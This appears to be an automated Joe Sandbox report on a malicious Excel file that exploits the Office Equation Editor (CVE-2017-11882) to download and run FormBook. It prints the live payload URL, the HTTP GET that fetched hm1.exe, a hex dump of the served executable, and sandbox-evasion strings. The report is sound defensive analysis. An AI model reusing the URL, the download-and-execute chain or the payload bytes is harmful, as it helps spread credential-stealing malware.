Play interactive tour

Edit tour

Analysis Report Signature.xlsx

Overview

General Information

Sample Name:	Signature.xlsx
Analysis ID:	345177
MD5:	560a48512736572ec4abceb4ecf22250
SHA1:	56798f4c080101515e42b5678a2039ac6b8caaf3
SHA256:	1d93a4fcbcf81b40332da7aedaa9288ca16a2c0c588db5c78c6e349ce53478d4
Tags:	VelvetSweatshopxlsx
Most interesting Screenshot:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Sigma detected: Droppers Exploiting CVE-2017-11882

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

Yara detected AntiVM_3

Yara detected FormBook

Drops PE files to the user root directory

Machine Learning detection for dropped file

Office equation editor drops PE file

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Sigma detected: Executables Started in Suspicious Folder

Sigma detected: Execution in Non-Executable Folder

Sigma detected: Suspicious Program Location Process Starts

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Document misses a certain OLE stream usually present in this Microsoft Office document type

Downloads executable code via HTTP

Drops PE files

Drops PE files to the user directory

Enables debug privileges

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Office Equation Editor has been started

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the volume information (name, serial number etc) of a device

Uses a known web browser user agent for HTTP communication

Yara signature match

Classification

Startup

System is w7x64

EXCEL.EXE (PID: 152 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)

EQNEDT32.EXE (PID: 2332 cmdline: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

vbc.exe (PID: 2852 cmdline: 'C:\Users\Public\vbc.exe' MD5: BE84C387975B024F25DC96EC5F85F7BD)

vbc.exe (PID: 2876 cmdline: C:\Users\Public\vbc.exe MD5: BE84C387975B024F25DC96EC5F85F7BD)

vbc.exe (PID: 2468 cmdline: C:\Users\Public\vbc.exe MD5: BE84C387975B024F25DC96EC5F85F7BD)

vbc.exe (PID: 2460 cmdline: C:\Users\Public\vbc.exe MD5: BE84C387975B024F25DC96EC5F85F7BD)

vbc.exe (PID: 2424 cmdline: C:\Users\Public\vbc.exe MD5: BE84C387975B024F25DC96EC5F85F7BD)

vbc.exe (PID: 2420 cmdline: C:\Users\Public\vbc.exe MD5: BE84C387975B024F25DC96EC5F85F7BD)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000002.2162212987.00000000020D1000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000004.00000002.2162537500.00000000030D9000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000004.00000002.2162537500.00000000030D9000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x293d58:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x2940e2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x29fdf5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x29f8e1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x29fef7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x2a006f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x294afa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x29eb5c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x295872:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x2a4ee7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x2a5f8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000004.00000002.2162537500.00000000030D9000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x2a1e19:$sqlite3step: 68 34 1C 7B E1 0x2a1f2c:$sqlite3step: 68 34 1C 7B E1 0x2a1e48:$sqlite3text: 68 38 2A 90 C5 0x2a1f6d:$sqlite3text: 68 38 2A 90 C5 0x2a1e5b:$sqlite3blob: 68 53 D8 7F 8C 0x2a1f83:$sqlite3blob: 68 53 D8 7F 8C
Process Memory Space: vbc.exe PID: 2852	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security

Sigma Overview

System Summary:

Sigma detected: Droppers Exploiting CVE-2017-11882

Show sources

Source: Process started

Author: Florian Roth: Data: Command: 'C:\Users\Public\vbc.exe' , CommandLine: 'C:\Users\Public\vbc.exe' , CommandLine|base64offset|contains: , Image: C:\Users\Public\vbc.exe, NewProcessName: C:\Users\Public\vbc.exe, OriginalFileName: C:\Users\Public\vbc.exe, ParentCommandLine: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 2332, ProcessCommandLine: 'C:\Users\Public\vbc.exe' , ProcessId: 2852

Sigma detected: EQNEDT32.EXE connecting to internet

Show sources

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 18.194.54.219, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 2332, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49165

Sigma detected: File Dropped By EQNEDT32EXE

Show sources

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 2332, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\hm1[1].exe

Sigma detected: Executables Started in Suspicious Folder

Show sources

Source: Process started

Sigma detected: Execution in Non-Executable Folder

Show sources

Source: Process started

Sigma detected: Suspicious Program Location Process Starts

Show sources

Source: Process started

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: http://18.194.54.219/wows/hm1.exe

Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Show sources

Source: http://18.194.54.219/wows/hm1.exe

Virustotal: Detection: 7%

Perma Link

Yara detected FormBook

Show sources

Source: Yara match

File source: 00000004.00000002.2162537500.00000000030D9000.00000004.00000001.sdmp, type: MEMORY

Machine Learning detection for dropped file

Show sources

Source: C:\Users\Public\vbc.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\hm1[1].exe	Joe Sandbox ML: detected

Exploits:

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Process created: C:\Users\Public\vbc.exe

Source: unknown

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding

Compliance:

Uses new MSVCR Dlls

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Software Vulnerabilities:

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 18.194.54.219:80

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 18.194.54.219:80

Networking:

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 27 Jan 2021 19:02:53 GMTServer: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.7Last-Modified: Wed, 27 Jan 2021 13:44:17 GMTETag: "9ac00-5b9e1f7b0f5e7"Accept-Ranges: bytesContent-Length: 633856Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 58 6d 11 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 50 00 00 a2 09 00 00 08 00 00 00 00 00 00 2e c1 09 00 00 20 00 00 00 00 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 0a 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 c0 09 00 57 00 00 00 00 e0 09 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 34 a1 09 00 00 20 00 00 00 a2 09 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 00 06 00 00 00 e0 09 00 00 06 00 00 00 a4 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 0a 00 00 02 00 00 00 aa 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 c1 09 00 00 00 00 00 48 00 00 00 02 00 05 00 e4 7e 08 00 f0 41 01 00 03 00 00 00 01 00 00 06 ec 8e 02 00 f8 ef 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 30 02 00 23 00 00 00 00 00 00 00 2b 02 26 16 00 00 28 01 00 00 0a 28 02 00 00 0a 00 de 02 00 dc 00 28 07 00 00 06 02 6f 03 00 00 0a 00 2a 00 01 10 00 00 02 00 05 00 0e 13 00 02 00 00 00 00 13 30 02 00 01 01 00 00 01 00 00 11 2b 02 26 16 00 38 e8 00 00 00 02 16 38 c7 00 00 00 00 2b 35 06 1f 56 61 0a 2b 1e 07 1f 60 61 0b 07 1f 53 59 45 04 00 00 00 05 00 00 00 10 00 00 00 17 00 00 00 4d 00 00 00 1f 35 0b 2b dd d0 01 00 00 06 26 1f 33 0b 2b d2 17 0a 1f 36 0b 2b cb 06 1f 4f 59 45 0a 00 00 00 07 00 00 00 0c 00 00 00 19 00 00 00 27 00 00 00 2f 00 00 00 37 00 00 00 45 00 00 00 4e 00 00 00 68 00 00 00 7f 00 00 00 1f 34 0b 2b 95 2b 8c 00 18 0a 2b 87 d0 03 00 00 06 26 1c 0a 38 7a ff ff ff 02 16 28 07 00 00 0a 19 0a 38 6c ff ff ff 00 1d 0a 38 64 ff ff ff 00 16 0a 38 5c ff ff ff 02 17 28 08 00 00 0a 1b 0a 38 4e ff ff ff 00 1f 0e 0a 38 45 ff ff ff 02 17 28 09 00 00 0a 2b 0a 28 0a 00 00

Source: Joe Sandbox View

ASN Name: AMAZON-02US AMAZON-02US

Source: global traffic

HTTP traffic detected: GET /wows/hm1.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 18.194.54.219Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219
Source: unknown	TCP traffic detected without corresponding DNS query: 18.194.54.219

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\E74B891E.emf

Jump to behavior

Source: global traffic

Source: vbc.exe, 00000004.00000002.2162212987.00000000020D1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: vbc.exe, vbc.exe, 00000005.00000002.2157599757.0000000000212000.00000020.00020000.sdmp, vbc.exe, 00000006.00000002.2158308519.0000000000212000.00000020.00020000.sdmp, vbc.exe, 00000007.00000002.2159068648.0000000000212000.00000020.00020000.sdmp, vbc.exe, 00000008.00000002.2159827958.0000000000212000.00000020.00020000.sdmp, vbc.exe, 00000009.00000002.2161125989.0000000000212000.00000020.00020000.sdmp, vbc.exe.2.dr	String found in binary or memory: http://thesnake.herokuapp.com/snakes
Source: E74B891E.emf.0.dr	String found in binary or memory: http://www.day.com/dam/1.0

E-Banking Fraud:

Yara detected FormBook

Show sources

Source: Yara match

File source: 00000004.00000002.2162537500.00000000030D9000.00000004.00000001.sdmp, type: MEMORY

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 00000004.00000002.2162537500.00000000030D9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000002.2162537500.00000000030D9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Office equation editor drops PE file

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\hm1[1].exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe			Jump to dropped file

Source: C:\Users\Public\vbc.exe	Memory allocated: 76E20000 page execute and read and write
Source: C:\Users\Public\vbc.exe	Memory allocated: 76D20000 page execute and read and write

Source: C:\Users\Public\vbc.exe	Code function: 4_2_003A3519
Source: C:\Users\Public\vbc.exe	Code function: 4_2_003A3808
Source: C:\Users\Public\vbc.exe	Code function: 4_2_003ADA91
Source: C:\Users\Public\vbc.exe	Code function: 4_2_003A3AC0
Source: C:\Users\Public\vbc.exe	Code function: 4_2_003ABAC0
Source: C:\Users\Public\vbc.exe	Code function: 4_2_003A57E0
Source: C:\Users\Public\vbc.exe	Code function: 4_2_003A57DD
Source: C:\Users\Public\vbc.exe	Code function: 4_2_003A5A38
Source: C:\Users\Public\vbc.exe	Code function: 4_2_003ADAD2
Source: C:\Users\Public\vbc.exe	Code function: 4_2_003A8D46

Source: Signature.xlsx

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: 00000004.00000002.2162537500.00000000030D9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000002.2162537500.00000000030D9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Source: hm1[1].exe.2.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: vbc.exe.2.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLSX@14/6@0/1

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$Signature.xlsx

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR59B.tmp

Jump to behavior

Source: C:\Users\Public\vbc.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\Public\vbc.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: unknown	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'
Source: unknown	Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe
Source: unknown	Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe
Source: unknown	Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe
Source: unknown	Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe
Source: unknown	Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\Public\vbc.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Source: Signature.xlsx

Static file information: File size 2493440 > 1048576

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Source: Signature.xlsx

Initial sample: OLE indicators vbamacros = False

Source: Signature.xlsx

Initial sample: OLE indicators encrypted = True

Data Obfuscation:

Source: initial sample	Static PE information: section name: .text entropy: 7.41524464929
Source: initial sample	Static PE information: section name: .text entropy: 7.41524464929

Persistence and Installation Behavior:

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\hm1[1].exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe			Jump to dropped file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Boot Survival:

Drops PE files to the user root directory

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX

Source: Signature.xlsx

Stream path 'EncryptedPackage' entropy: 7.99993201198 (max. 8.0)

Malware Analysis System Evasion:

Yara detected AntiVM_3

Show sources

Source: Yara match	File source: 00000004.00000002.2162212987.00000000020D1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 2852, type: MEMORY

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: vbc.exe, 00000004.00000002.2162212987.00000000020D1000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL
Source: vbc.exe, 00000004.00000002.2162212987.00000000020D1000.00000004.00000001.sdmp	Binary or memory string: KERNEL32.DLL.WINE_GET_UNIX_FILE_NAME

Source: C:\Users\Public\vbc.exe

Thread delayed: delay time: 922337203685477

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 824	Thread sleep time: -300000s >= -30000s
Source: C:\Users\Public\vbc.exe TID: 1980	Thread sleep time: -52785s >= -30000s
Source: C:\Users\Public\vbc.exe TID: 912	Thread sleep time: -922337203685477s >= -30000s

Source: vbc.exe, 00000004.00000002.2162212987.00000000020D1000.00000004.00000001.sdmp	Binary or memory string: InstallPathJC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: vbc.exe, 00000004.00000002.2162212987.00000000020D1000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: vbc.exe, 00000004.00000002.2162212987.00000000020D1000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II
Source: vbc.exe, 00000004.00000002.2162212987.00000000020D1000.00000004.00000001.sdmp	Binary or memory string: VMWAREDSOFTWARE\VMware, Inc.\VMware Tools

Source: C:\Users\Public\vbc.exe

